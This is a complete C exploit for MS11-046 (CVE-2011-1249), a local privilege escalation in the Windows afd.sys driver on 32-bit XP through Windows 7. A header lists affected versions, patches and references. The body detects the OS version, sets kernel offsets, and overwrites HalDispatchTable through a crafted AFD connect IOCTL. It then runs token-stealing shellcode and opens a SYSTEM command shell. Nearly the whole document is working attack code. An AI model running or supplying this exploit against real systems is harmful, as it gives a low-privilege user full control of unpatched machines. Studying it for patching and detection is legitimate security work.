Microsoft Windows (x86) - afd.sys Local Privilege Escalation (MS11-046)
/*
################################################################
# Exploit Title: Windows x86 (all versions) AFD privilege escalation (MS11-046)
# Date: 2016-10-16
# Exploit Author: Tomislav Paskalev
# Vulnerable Software:
# Windows XP SP3 x86
# Windows XP Pro SP2 x64
# Windows Server 2003 SP2 x86
# Windows Server 2003 SP2 x64
# Windows Server 2003 SP2 Itanium-based Systems
# Windows Vista SP1 x86
# Windows Vista SP2 x86
# Windows Vista SP1 x64
# Windows Vista SP2 x64
# Windows Server 2008 x86
# Windows Server 2008 SP2 x86
# Windows Server 2008 x64
# Windows Server 2008 SP2 x64
# Windows Server 2008 Itanium-based Systems
# Windows Server 2008 SP2 Itanium-based Systems
# Windows 7 x86
# Windows 7 SP1 x86
# Windows 7 x64
# Windows 7 SP1 x64
# Windows Server 2008 R2 x64
# Windows Server 2008 R2 SP1 x64
# Windows Server 2008 R2 Itanium-based Systems
# Windows Server 2008 R2 SP1 Itanium-based Systems
# Supported Vulnerable Software:
# Windows XP SP3 x86
# Windows Server 2003 SP2 x86
# Windows Vista SP1 x86
# Windows Vista SP2 x86
# Windows Server 2008 x86
# Windows Server 2008 SP2 x86
# Windows 7 x86
# Windows 7 SP1 x86
# Tested Software:
# Windows XP Pro SP3 x86 EN [5.1.2600]
# Windows Server 2003 Ent SP2 EN [5.2.3790]
# Windows Vista Ult SP1 x86 EN [6.0.6001]
# Windows Vista Ult SP2 x86 EN [6.0.6002]
# Windows Server 2008 Dat SP1 x86 EN [6.0.6001]
# Windows Server 2008 Ent SP2 x86 EN [6.0.6002]
# Windows 7 HB x86 EN [6.1.7600]
# Windows 7 Ent SP1 x86 EN [6.1.7601]
# CVE ID: 2011-1249
################################################################
# Vulnerability description:
# The Ancillary Function Driver (AFD) supports Windows sockets
# applications and is contained in the afd.sys file. The afd.sys
# driver runs in kernel mode and manages the Winsock TCP/IP
# communications protocol.
# An elevation of privilege vulnerability exists where the AFD
# improperly validates input passed from user mode to the kernel.
# An attacker must have valid logon credentials and be able to
# log on locally to exploit the vulnerability.
# An attacker who successfully exploited this vulnerability could
# run arbitrary code in kernel mode (i.e. with NT AUTHORITY\SYSTEM
# privileges).
################################################################
# Exploit notes:
# Privileged shell execution:
# - the SYSTEM shell will spawn within the invoking shell/process
# Exploit compiling (Kali GNU/Linux Rolling 64-bit):
# - # i686-w64-mingw32-gcc MS11-046.c -o MS11-046.exe -lws2_32
# Exploit prerequisites:
# - low privilege access to the target OS
# - target OS not patched (KB2503665, or any other related
# patch, if applicable, not installed - check "Related security
# vulnerabilities/patches")
# Exploit test notes:
# - let the target OS boot properly (if applicable)
# - Windows 7 (SP0 and SP1) will BSOD on shutdown/reset
################################################################
# Patches:
# Windows XP SP3 x86
# WindowsXP-KB2503665-x86-enu.exe
# (not available - EoL)
# Windows Server 2003 SP2 x86
# WindowsServer2003-KB2503665-x86-enu.exe
# https://www.microsoft.com/en-us/download/details.aspx?id=26483
# Windows Vista SP1, SP2 x86; Windows Server 2008 (SP1), SP2 x86
# Windows6.0-KB2503665-x86.msu
# https://www.microsoft.com/en-us/download/details.aspx?id=26275
# Windows 7 (SP0), SP1 x86
# Windows6.1-KB2503665-x86.msu
# https://www.microsoft.com/en-us/download/details.aspx?id=26311
################################################################
# Related security vulnerabilities/patches:
# MS11-046 KB2503665 https://technet.microsoft.com/en-us/library/security/ms11-046.aspx
# MS11-080 KB2592799 https://technet.microsoft.com/en-us/library/security/ms11-080.aspx
# MS12-009 KB2645640 https://technet.microsoft.com/en-us/library/security/ms12-009.aspx
# MS13-093 KB2875783 https://technet.microsoft.com/en-us/library/security/ms13-093.aspx
# MS14-040 KB2975684 https://technet.microsoft.com/en-us/library/security/ms14-040.aspx
#
# Table of patch replacements:
# | MS11-046 | MS11-080 | MS12-009 | MS13-093 | MS14-040 |
# -------------------------------------------------------------
# | KB2503665 | KB2592799 | KB2645640 | KB2875783 | KB2975684 |
# -----------------------------------------------------------------------------------------
# Windows x86 XP SP3 | Installed | <-Replaces| - | - | - |
# Windows x86 Server 2003 SP2 | Installed | <-Replaces| <-Replaces| - | <-Replaces|
# Windows x86 Vista SP1 | Installed | - | - | - | - |
# Windows x86 Vista SP2 | Installed | - | - | - | <-Replaces|
# Windows x86 Server 2008 | Installed | - | - | - | - |
# Windows x86 Server 2008 SP2 | Installed | - | - | - | <-Replaces|
# Windows x86 7 | Installed | - | - | - | - |
# Windows x86 7 SP1 | Installed | - | - | - | <-Replaces|
################################################################
# Thanks to:
# azy (XP, 2k3 exploit)
# Rahul Sasi (PoC)
################################################################
# References:
# https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-1249
# https://technet.microsoft.com/en-us/library/security/ms11-046.aspx
# http://web.qhwins.com/Security/2012021712023641874126.html
# https://www.exploit-db.com/exploits/18755/
################################################################
*/
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <ws2tcpip.h>
#pragma comment (lib, "ws2_32.lib")
////////////////////////////////////////////////////////////////
// DEFINE DATA TYPES
////////////////////////////////////////////////////////////////
typedef enum _KPROFILE_SOURCE {
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;
typedef DWORD (WINAPI *PNTQUERYINTERVAL) (
KPROFILE_SOURCE ProfileSource,
PULONG Interval
);
typedef LONG NTSTATUS;
typedef NTSTATUS (WINAPI *PNTALLOCATE) (
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG RegionSize,
ULONG AllocationType,
ULONG Protect
);
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
////////////////////////////////////////////////////////////////
// FUNCTIONS
////////////////////////////////////////////////////////////////
BOOL IsWow64()
{
BOOL bIsWow64 = FALSE;
LPFN_ISWOW64PROCESS fnIsWow64Process;
fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandle(TEXT("kernel32")), "IsWow64Process");
if(NULL != fnIsWow64Process)
{
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms684139(v=vs.85).aspx
if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64))
{
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
printf(" [-] Failed (error code: %d)\n", GetLastError());
return -1;
}
}
return bIsWow64;
}
////////////////////////////////////////////////////////////////
// MAIN FUNCTION
////////////////////////////////////////////////////////////////
int main(void)
{
printf("[*] MS11-046 (CVE-2011-1249) x86 exploit\n");
printf(" [*] by Tomislav Paskalev\n");
////////////////////////////////////////////////////////////////
// IDENTIFY TARGET OS ARCHITECTURE AND VERSION
////////////////////////////////////////////////////////////////
printf("[*] Identifying OS\n");
// identify target machine's OS architecture
// in case the target machine is running a 64-bit OS
if(IsWow64())
{
printf(" [-] 64-bit\n");
return -1;
}
printf(" [+] 32-bit\n");
// identify target machine's OS version
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms724451(v=vs.85).aspx
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms724833(v=vs.85).aspx
OSVERSIONINFOEX osvi;
ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx((LPOSVERSIONINFO) &osvi);
// define operating system version specific variables
unsigned char shellcode_KPROCESS;
unsigned char shellcode_TOKEN;
unsigned char shellcode_UPID;
unsigned char shellcode_APLINKS;
const char **securityPatchesPtr;
int securityPatchesCount;
int lpInBufferSize;
////////////////////////////////////////////////////////////////
/*
OS VERSION SPECIFIC OFFSETS
references:
http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/original.htm
http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/late52.htm
http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/current.htm
http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/eprocess/
- nt!_KTHREAD.ApcState.Process (+0x10)
0x30 (3.51);
0x34 (>3.51 to 5.1);
0x28 (late 5.2);
0x38 (6.0);
0x40 (6.1);
0x70 (6.2 and higher)
- nt!_EPROCESS.Token
0x0108 (3.51 to 4.0);
0x012C (5.0);
0xC8 (5.1 to early 5.2);
0xD8 (late 5.2);
0xE0 (6.0);
0xF8 (6.1);
0xEC (6.2 to 6.3);
0xF4
- nt!_EPROCESS.UniqueProcessId
0x94 (3.51 to 4.0);
0x9C (5.0);
0x84 (5.1 to early 5.2);
0x94 (late 5.2);
0x9C (6.0);
0xB4
- nt!_EPROCESS.ActiveProcessLinks.Flink
0x98 (3.51 to 4.0);
0xA0 (5.0);
0x88 (5.1 to early 5.2);
0x98 (late 5.2);
0xA0 (6.0);
0xB8
*/
////////////////////////////////////////////////////////////////
// in case the OS version is 5.1, service pack 3
if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 3))
{
// the target machine's OS is Windows XP SP3
printf(" [+] Windows XP SP3\n");
shellcode_KPROCESS = '\x44';
shellcode_TOKEN = '\xC8';
shellcode_UPID = '\x84';
shellcode_APLINKS = '\x88';
const char *securityPatches[] = {"KB2503665", "KB2592799"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 2;
lpInBufferSize = 0x30;
}
// in case the OS version is 5.2, service pack 2, not R2
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms724385(v=vs.85).aspx
else if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 2) && (osvi.wServicePackMajor == 2) && (GetSystemMetrics(89) == 0))
{
// the target machine's OS is Windows Server 2003 SP2
printf(" [+] Windows Server 2003 SP2\n");
shellcode_KPROCESS = '\x38';
shellcode_TOKEN = '\xD8';
shellcode_UPID = '\x94';
shellcode_APLINKS = '\x98';
const char *securityPatches[] = {"KB2503665", "KB2592799", "KB2645640", "KB2975684"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 4;
lpInBufferSize = 0x30;
}
// in case the OS version is 6.0, service pack 1, workstation
else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 1) && (osvi.wProductType == 1))
{
// the target machine's OS is Windows Vista SP1
printf(" [+] Windows Vista SP1\n");
shellcode_KPROCESS = '\x48';
shellcode_TOKEN = '\xE0';
shellcode_UPID = '\x9C';
shellcode_APLINKS = '\xA0';
const char *securityPatches[] = {"KB2503665"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 1;
lpInBufferSize = 0x30;
}
// in case the OS version is 6.0, service pack 2, workstation
else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 2) && (osvi.wProductType == 1))
{
// the target machine's OS is Windows Vista SP2
printf(" [+] Windows Vista SP2\n");
shellcode_KPROCESS = '\x48';
shellcode_TOKEN = '\xE0';
shellcode_UPID = '\x9C';
shellcode_APLINKS = '\xA0';
const char *securityPatches[] = {"KB2503665", "KB2975684"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 2;
lpInBufferSize = 0x10;
}
// in case the OS version is 6.0, no service pack*, server
// *Because Windows Server 2008 is based on the Windows NT 6.0 Service Pack 1 kernel, the RTM release is considered to be Service Pack 1;
// accordingly, the first service pack is called Service Pack 2.
// https://en.wikipedia.org/wiki/Windows_Server_2008
else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 1) && (osvi.wProductType != 1))
{
// the target machine's OS is Windows Server 2008
printf(" [+] Windows Server 2008\n");
shellcode_KPROCESS = '\x48';
shellcode_TOKEN = '\xE0';
shellcode_UPID = '\x9C';
shellcode_APLINKS = '\xA0';
const char *securityPatches[] = {"KB2503665"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 1;
lpInBufferSize = 0x10;
}
// in case the OS version is 6.0, service pack 2, server
else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 2) && (osvi.wProductType != 1))
{
// the target machine's OS is Windows Server 2008 SP2
printf(" [+] Windows Server 2008 SP2\n");
shellcode_KPROCESS = '\x48';
shellcode_TOKEN = '\xE0';
shellcode_UPID = '\x9C';
shellcode_APLINKS = '\xA0';
const char *securityPatches[] = {"KB2503665", "KB2975684"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 2;
lpInBufferSize = 0x08;
}
// in case the OS version is 6.1, no service pack (note: Windows Server 2008 R2 is 64-bit only)
else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 0))
{
// the target machine's OS is Windows 7
printf(" [+] Windows 7\n");
shellcode_KPROCESS = '\x50';
shellcode_TOKEN = '\xF8';
shellcode_UPID = '\xB4';
shellcode_APLINKS = '\xB8';
const char *securityPatches[] = {"KB2503665"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 1;
lpInBufferSize = 0x20;
}
// in case the OS version is 6.1, service pack 1 (note: Windows Server 2008 R2 is 64-bit only)
else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 1))
{
// the target machine's OS is Windows 7 SP1
printf(" [+] Windows 7 SP1\n");
shellcode_KPROCESS = '\x50';
shellcode_TOKEN = '\xF8';
shellcode_UPID = '\xB4';
shellcode_APLINKS = '\xB8';
const char *securityPatches[] = {"KB2503665", "KB2975684"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 2;
lpInBufferSize = 0x10;
}
// in case the OS version is not any of the previously checked versions
else
{
// the target machine's OS is an unsupported 32-bit Windows version
printf(" [-] Unsupported version\n");
printf(" [*] Affected 32-bit operating systems\n");
printf(" [*] Windows XP SP3\n");
printf(" [*] Windows Server 2003 SP2\n");
printf(" [*] Windows Vista SP1\n");
printf(" [*] Windows Vista SP2\n");
printf(" [*] Windows Server 2008\n");
printf(" [*] Windows Server 2008 SP2\n");
printf(" [*] Windows 7\n");
printf(" [*] Windows 7 SP1\n");
return -1;
}
////////////////////////////////////////////////////////////////
// LOCATE REQUIRED OS COMPONENTS
////////////////////////////////////////////////////////////////
printf("[*] Locating required OS components\n");
// retrieve system information
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms725506(v=vs.85).aspx
// locate "ZwQuerySystemInformation" in the "ntdll.dll" module
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx
FARPROC ZwQuerySystemInformation;
ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation");
// 11 = SystemModuleInformation
// http://winformx.florian-rappl.de/html/e6d5d5c1-8d83-199b-004f-8767439c70eb.htm
ULONG systemInformation;
ZwQuerySystemInformation(11, (PVOID) &systemInformation, 0, &systemInformation);
// allocate memory for the list of loaded modules
ULONG *systemInformationBuffer;
systemInformationBuffer = (ULONG *) malloc(systemInformation * sizeof(*systemInformationBuffer));
if(!systemInformationBuffer)
{
printf(" [-] Could not allocate memory");
return -1;
}
// retrieve the list of loaded modules
ZwQuerySystemInformation(11, systemInformationBuffer, systemInformation * sizeof(*systemInformationBuffer), NULL);
// locate "ntkrnlpa.exe" or "ntoskrnl.exe" in the retrieved list of loaded modules
ULONG i;
PVOID targetKrnlMdlBaseAddr;
HMODULE targetKrnlMdlUsrSpcOffs;
BOOL foundModule = FALSE;
PSYSTEM_MODULE_INFORMATION loadedMdlStructPtr;
loadedMdlStructPtr = (PSYSTEM_MODULE_INFORMATION) (systemInformationBuffer + 1);
for(i = 0; i < *systemInformationBuffer; i++)
{
if(strstr(loadedMdlStructPtr[i].ImageName, "ntkrnlpa.exe"))
{
printf(" [+] ntkrnlpa.exe\n");
targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntkrnlpa.exe", 0, 1);
targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base;
foundModule = TRUE;
break;
}
else if(strstr(loadedMdlStructPtr[i].ImageName, "ntoskrnl.exe"))
{
printf(" [+] ntoskrnl.exe\n");
targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntoskrnl.exe", 0, 1);
targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base;
foundModule = TRUE;
break;
}
}
// base address of the loaded module (kernel space)
printf(" [*] Address: %#010x\n", targetKrnlMdlBaseAddr);
// offset address (relative to the parent process) of the loaded module (user space)
printf(" [*] Offset: %#010x\n", targetKrnlMdlUsrSpcOffs);
if(!foundModule)
{
printf(" [-] Could not find ntkrnlpa.exe/ntoskrnl.exe\n");
return -1;
}
// free allocated buffer space
free(systemInformationBuffer);
// determine the address of the "HalDispatchTable" process (kernel space)
// locate the offset fo the "HalDispatchTable" process within the target module (user space)
ULONG_PTR HalDispatchTableUsrSpcOffs;
HalDispatchTableUsrSpcOffs = (ULONG_PTR) GetProcAddress(targetKrnlMdlUsrSpcOffs, "HalDispatchTable");
if(!HalDispatchTableUsrSpcOffs)
{
printf(" [-] Could not find HalDispatchTable\n");
return -1;
}
printf(" [+] HalDispatchTable\n");
printf(" [*] Offset: %#010x\n", HalDispatchTableUsrSpcOffs);
// calculate the address of "HalDispatchTable" in kernel space
// 1. identify the base address of the target module in kernel space
// 2. previous step's result [minus] the load address of the same module in user space
// 3. previous step's result [plus] the address of "HalDispatchTable" in user space
// EQUIVALENT TO:
// 1. determine RVA of HalDispatchTable
// *Relative Virtual Address - the address of an item after it is loaded into memory, with the base address of the image file subtracted from it.
// 2. previous step's result [plus] base address of target module in kernel space
ULONG_PTR HalDispatchTableKrnlSpcAddr;
HalDispatchTableKrnlSpcAddr = HalDispatchTableUsrSpcOffs - (ULONG_PTR) targetKrnlMdlUsrSpcOffs;
HalDispatchTableKrnlSpcAddr += (ULONG_PTR) targetKrnlMdlBaseAddr;
// locate "NtQueryIntervalProfile" in the "ntdll.dll" module
PNTQUERYINTERVAL NtQueryIntervalProfile;
NtQueryIntervalProfile = (PNTQUERYINTERVAL) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
if(!NtQueryIntervalProfile)
{
printf(" [-] Could not find NtQueryIntervalProfile\n");
return -1;
}
printf(" [+] NtQueryIntervalProfile\n");
printf(" [*] Address: %#010x\n", NtQueryIntervalProfile);
// locate "ZwDeviceIoControlFile" routine in the "ntdll.dll" module
// https://msdn.microsoft.com/en-us/library/windows/hardware/ff566441(v=vs.85).aspx
FARPROC ZwDeviceIoControlFile;
ZwDeviceIoControlFile = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwDeviceIoControlFile");
if(!ZwDeviceIoControlFile)
{
printf(" [-] Could not find ZwDeviceIoControlFile\n");
return -1;
}
printf(" [+] ZwDeviceIoControlFile\n");
printf(" [*] Address: %#010x\n", ZwDeviceIoControlFile);
////////////////////////////////////////////////////////////////
// SETUP EXPLOITATION PREREQUISITE
////////////////////////////////////////////////////////////////
printf("[*] Setting up exploitation prerequisite\n");
// initialize Winsock DLL
printf (" [*] Initialising Winsock DLL\n");
WORD wVersionRequested;
WSADATA wsaData;
int wsaStartupErrorCode;
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms632663(v=vs.85).aspx
wVersionRequested = MAKEWORD(2, 2);
// initiate the use of the Winsock DLL
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms742213(v=vs.85).aspx
wsaStartupErrorCode = WSAStartup(wVersionRequested, &wsaData);
if(wsaStartupErrorCode != 0)
{
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
printf(" [-] Failed (error code: %d)\n", wsaStartupErrorCode);
return -1;
}
printf(" [+] Done\n");
// create socket
printf(" [*] Creating socket\n");
SOCKET targetDeviceSocket = INVALID_SOCKET;
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms742212(v=vs.85).aspx
targetDeviceSocket = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if(targetDeviceSocket == INVALID_SOCKET)
{
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
printf(" [-] Failed (error code: %ld)\n", WSAGetLastError());
return -1;
}
printf(" [+] Done\n");
// connect to a closed port
// connect to port 0 on the local machine
struct sockaddr_in clientService;
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr("127.0.0.1");
clientService.sin_port = htons(0);
printf(" [*] Connecting to closed port\n");
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms737625(v=vs.85).aspx
int connectResult;
connectResult = connect(targetDeviceSocket, (SOCKADDR *) &clientService, sizeof(clientService));
if (connectResult == 0)
{
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
printf (" [-] Connected (error code: %ld)\n", WSAGetLastError());
return -1;
}
printf(" [+] Done\n");
////////////////////////////////////////////////////////////////
// CREATE TOKEN STEALING SHELLCODE
////////////////////////////////////////////////////////////////
printf("[*] Creating token stealing shellcode\n");
// construct the token stealing shellcode
unsigned char shellcode[] =
{
0x52, // PUSH EDX Save EDX on the stack (save context)
0x53, // PUSH EBX Save EBX on the stack (save context)
0x33,0xC0, // XOR EAX, EAX Zero out EAX (EAX = 0)
0x64,0x8B,0x80,0x24,0x01,0x00,0x00, // MOV EAX, FS:[EAX+0x124] Retrieve current _KTHREAD structure
0x8B,0x40,shellcode_KPROCESS, // MOV EAX, [EAX+_KPROCESS] Retrieve _EPROCESS structure
0x8B,0xC8, // MOV ECX, EAX Copy EAX (_EPROCESS) to ECX
0x8B,0x98,shellcode_TOKEN,0x00,0x00,0x00, // MOV EBX, [EAX+_TOKEN] Retrieve current _TOKEN
0x8B,0x80,shellcode_APLINKS,0x00,0x00,0x00, // MOV EAX, [EAX+_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks
0x81,0xE8,shellcode_APLINKS,0x00,0x00,0x00, // SUB EAX, _APLINKS | Retrieve EPROCESS from ActiveProcessLinks
0x81,0xB8,shellcode_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // CMP [EAX+_UPID], 0x4 | Compare UniqueProcessId with 4 (System Process)
0x75,0xE8, // JNZ/JNE ---- Jump if not zero/not equal
0x8B,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV EDX, [EAX+_TOKEN] Copy SYSTEM _TOKEN to EDX
0x8B,0xC1, // MOV EAX, ECX Copy ECX (current process _TOKEN) to EAX
0x89,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV [EAX+_TOKEN], EDX Copy SYSTEM _TOKEN to current process _TOKEN
0x5B, // POP EBX Pop current stack value to EBX (restore context)
0x5A, // POP EDX Pop current stack value to EDX (restore context)
0xC2,0x08 // RET 8 Return
};
printf(" [*] Shellcode assembled\n");
// allocate memory (RWE permissions) for the shellcode
printf(" [*] Allocating memory\n");
LPVOID shellcodeAddress;
shellcodeAddress = VirtualAlloc((PVOID) 0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
int errorCode = 0;
if(shellcodeAddress == NULL)
{
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
errorCode = GetLastError();
// in case of ERROR_INVALID_ADDRESS
if(errorCode == 487)
{
// Attempt to access invalid address
// occurs since a fixed address is being reserved
// http://stackoverflow.com/questions/21368429/error-code-487-error-invalid-address-when-using-virtualallocex
printf(" [!] Could not reserve entire range\n");
printf(" [*] Rerun exploit\n");
}
// in case of any other error
else
printf(" [-] Failed (error code: %d)\n", errorCode);
return -1;
}
printf(" [+] Address: %#010x\n", shellcodeAddress);
// copy the shellcode to the allocated memory
memset(shellcodeAddress, 0x90, 0x20000);
memcpy((shellcodeAddress + 0x10000), shellcode, sizeof(shellcode));
printf(" [*] Shellcode copied\n");
////////////////////////////////////////////////////////////////
// EXPLOIT THE VULNERABILITY
////////////////////////////////////////////////////////////////
printf("[*] Exploiting vulnerability\n");
// send AFD socket connect request
printf(" [*] Sending AFD socket connect request\n");
DWORD lpInBuffer[lpInBufferSize];
memset(lpInBuffer, 0, (lpInBufferSize * sizeof(DWORD)));
lpInBuffer[3] = 0x01;
lpInBuffer[4] = 0x20;
ULONG lpBytesReturned = 0;
if(DeviceIoControl(
(HANDLE) targetDeviceSocket,
0x00012007, // IOCTL_AFD_CONNECT
(PVOID) lpInBuffer, sizeof(lpInBuffer),
(PVOID) (HalDispatchTableKrnlSpcAddr + 0x6), 0x0,
&lpBytesReturned, NULL
) == 0)
{
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms679360(v=vs.85).aspx
errorCode = GetLastError();
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
// in case of ERROR_INVALID_NETNAME
if(errorCode == 1214)
{
// AFD socket connect request successful
printf(" [+] Done\n");
}
// in case of ERROR_NOACCESS
else if(errorCode == 998)
{
// AFD socket connect request unsuccessful - target is patched
printf(" [!] Target patched\n");
printf(" [*] Possible security patches\n");
for(i = 0; i < securityPatchesCount; i++)
printf(" [*] %s\n", securityPatchesPtr[i]);
return -1;
}
// in case of any other error message
else
{
// print the error code
printf(" [-] Failed (error code: %d)\n", errorCode);
return -1;
}
}
// elevate privileges of the current process
printf(" [*] Elevating privileges to SYSTEM\n");
ULONG outInterval = 0;
// https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html
NtQueryIntervalProfile(2, &outInterval);
printf(" [+] Done\n");
// spawn shell (with elevated privileges)
printf(" [*] Spawning shell\n");
// spawn SYSTEM shell within the current shell (remote shell friendly)
system ("c:\\windows\\system32\\cmd.exe /K cd c:\\windows\\system32");
// clean up and exit
printf("\n[*] Exiting SYSTEM shell\n");
WSACleanup();
return 1;
}
// EoF